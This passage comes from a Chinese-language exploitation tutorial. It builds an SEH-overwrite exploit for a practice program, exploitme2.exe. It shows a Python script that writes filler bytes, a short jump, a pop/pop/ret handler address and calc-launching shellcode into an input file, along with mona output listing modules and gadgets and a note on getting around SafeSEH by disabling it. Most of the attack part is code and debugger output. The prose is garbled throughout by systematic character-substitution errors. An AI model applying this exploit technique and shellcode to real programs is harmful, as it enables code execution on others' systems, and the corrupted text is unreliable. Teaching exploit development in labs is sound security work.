"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
"\x30\x03\xc6\xeb\xdd")
data = 'a'*84 + jmp + handler + shellcode
f.write(data + 'c' * (10000 - len(data)))
複製代碼
若是你使用WinDbg調試exploitme2.exe,你將會發現出錯了。咱們的handler(pop/pop/ret
)並無被調用,爲何?
咱們來看一看已加載的模塊:
0:000> !py mona modules
Hold on...
[+] Command used:
!py mona.py modules
---------- Mona command started on 2015-03-19 00:31:14 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
0x774b0000 | 0x774ba000 | 0x0000a000 | False | True | True | True | True | 6.1.7601.18768 [LPK.dll] (C:\Windows\syswow64\LPK.dll)
0x00190000 | 0x00196000 | 0x00006000 | False | True | True | False | False | -1.0- [exploitme2.exe] (exploitme2.exe)
0x752d0000 | 0x7532a000 | 0x0005a000 | False | True | True | True | True | 8.0.0.4344 [guard32.dll] (C:\Windows\SysWOW64\guard32.dll)
0x764c0000 | 0x7658c000 | 0x000cc000 | False | True | True | True | True | 6.1.7601.18731 [MSCTF.dll] (C:\Windows\syswow64\MSCTF.dll)
0x76360000 | 0x763a7000 | 0x00047000 | False | True | True | True | True | 6.1.7601.18409 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)
0x752c0000 | 0x752c9000 | 0x00009000 | False | True | True | True | True | 6.1.7600.16385 [VERSION.dll] (C:\Windows\SysWOW64\VERSION.dll)
0x752b0000 | 0x752b7000 | 0x00007000 | False | True | True | True | True | 6.1.7600.16385 [fltlib.dll] (C:\Windows\SysWOW64\fltlib.dll)
0x758c0000 | 0x7595d000 | 0x0009d000 | False | True | True | True | True | 1.626.7601.18454 [USP10.dll] (C:\Windows\syswow64\USP10.dll)
0x75b50000 | 0x75be0000 | 0x00090000 | False | True | True | True | True | 6.1.7601.18577 [GDI32.dll] (C:\Windows\syswow64\GDI32.dll)
0x75dc0000 | 0x75ed0000 | 0x00110000 | False | True | True | True | True | 6.1.7601.18409 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)
0x75960000 | 0x75a0c000 | 0x000ac000 | False | True | True | True | True | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll)
0x75550000 | 0x7555c000 | 0x0000c000 | False | True | True | True | True | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll)
0x75560000 | 0x755c0000 | 0x00060000 | False | True | True | True | True | 6.1.7601.18779 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll)
0x77bd0000 | 0x77d50000 | 0x00180000 | False | True | True | True | True | 6.1.7601.18247 [ntdll.dll] (ntdll.dll)
0x75ed0000 | 0x75f70000 | 0x000a0000 | False | True | True | True | True | 6.1.7601.18247 [ADVAPI32.dll] (C:\Windows\syswow64\ADVAPI32.dll)
0x77660000 | 0x77750000 | 0x000f0000 | False | True | True | True | True | 6.1.7601.18532 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)
0x6d510000 | 0x6d5fe000 | 0x000ee000 | False | True | True | True | True | 12.0.21005.1 [MSVCR120.dll] (C:\Windows\SysWOW64\MSVCR120.dll)
0x764a0000 | 0x764b9000 | 0x00019000 | False | True | True | True | True | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll)
0x75ab0000 | 0x75ab5000 | 0x00005000 | False | True | True | True | True | 6.1.7600.16385 [PSAPI.DLL] (C:\Windows\syswow64\PSAPI.DLL)
0x761c0000 | 0x762c0000 | 0x00100000 | False | True | True | True | True | 6.1.7601.17514 [USER32.dll] (C:\Windows\syswow64\USER32.dll)
0x762f0000 | 0x76350000 | 0x00060000 | False | True | True | True | True | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)
----------------------------------------------------------------------------------------------------------------------------------
[+] This mona.py action took 0:00:00.110000
複製代碼
咱們能夠看到全部已加載的模塊具備SafeSEH = True屬性。對於咱們來講這顯然是壞消息。若是某個模塊啓用了SafeSEH保護機制進行編譯,同時它含有一個被容許的SEH handler列表以及地址被包含在那個模塊中的handler,可是沒在列表中的都被忽略了。
地址0x75dfd75d在模塊kernel32.dll中,可是沒有在它的已容許的handler列表中,所以咱們不能使用它。一般的解決方法是選擇具備SafeSEH = False屬性的模塊,可是在咱們的案例中,啓用了SafeSEH保護機制來對全部模塊進行編譯。
由於咱們在這只是正在學習「走路」,咱們在VS2013中經過修改配置關閉SafeSEH保護機制來對exploiotme2.exe進行重編譯,修改的配置以下:
如今讓咱們在exploitme2.exe中找到pop/pop/ret
序列:
0:000> !py mona findwild -s "pop r32#pop r32#ret" -m exploitme2.exe
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m exploitme2.exe
---------- Mona command started on 2015-03-19 00:53:54 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules exploitme2.exe
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x00e90000 and 0x00e96000
[+] Preparing output file 'findwild.txt'
- (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
- Number of pointers of type 'pop eax # pop esi # retn' : 1
- Number of pointers of type 'pop ecx # pop ecx # retn' : 1
- Number of pointers of type 'pop edi # pop esi # retn' : 2
- Number of pointers of type 'pop ecx # pop ebp # retn' : 1
- Number of pointers of type 'pop ebx # pop ebp # retn' : 1
[+] Results :
0x00e91802 | 0x00e91802 (b+0x00001802) : pop eax # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e9152f | 0x00e9152f (b+0x0000152f) : pop ecx # pop ecx # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e918e7 | 0x00e918e7 (b+0x000018e7) : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e91907 | 0x00e91907 (b+0x00001907) : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e9112b | 0x00e9112b (b+0x0000112b) : pop ecx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e91630 | 0x00e91630 (b+0x00001630) : pop ebx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
Found a total of 6 pointers
[+] This mona.py action took 0:00:00.170000
複製代碼
咱們將使用第一個地址:0x00e91802.
這是已更新的Python腳本:
#!python
with open('c:\\name.dat', 'wb') as f:
jmp = '\xeb\x06\x90\x90'
handler = '\x02\x18\xe9\x00'
shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
"\x30\x03\xc6\xeb\xdd")
data = 'a'*84 + jmp + handler + shellcode
f.write(data + 'c' * (10000 - len(data)))
複製代碼
用WinDbg運行腳本並打開exploitme2.exe(沒有啓用SafeSEH保護機制的版本)。如今,不出咱們所料,計算器被彈出了!成功利用,可是咱們已經改寫了一些代碼。同時,在這裏咱們假設不啓用ASLR保護機制(對於如今來講)
若是利用無法在你的系統上成功執行,那麼多是由於在棧上的空間有限。能夠參考文章drops.wooyun.org/tips/9948中的More space on stack部分進行解決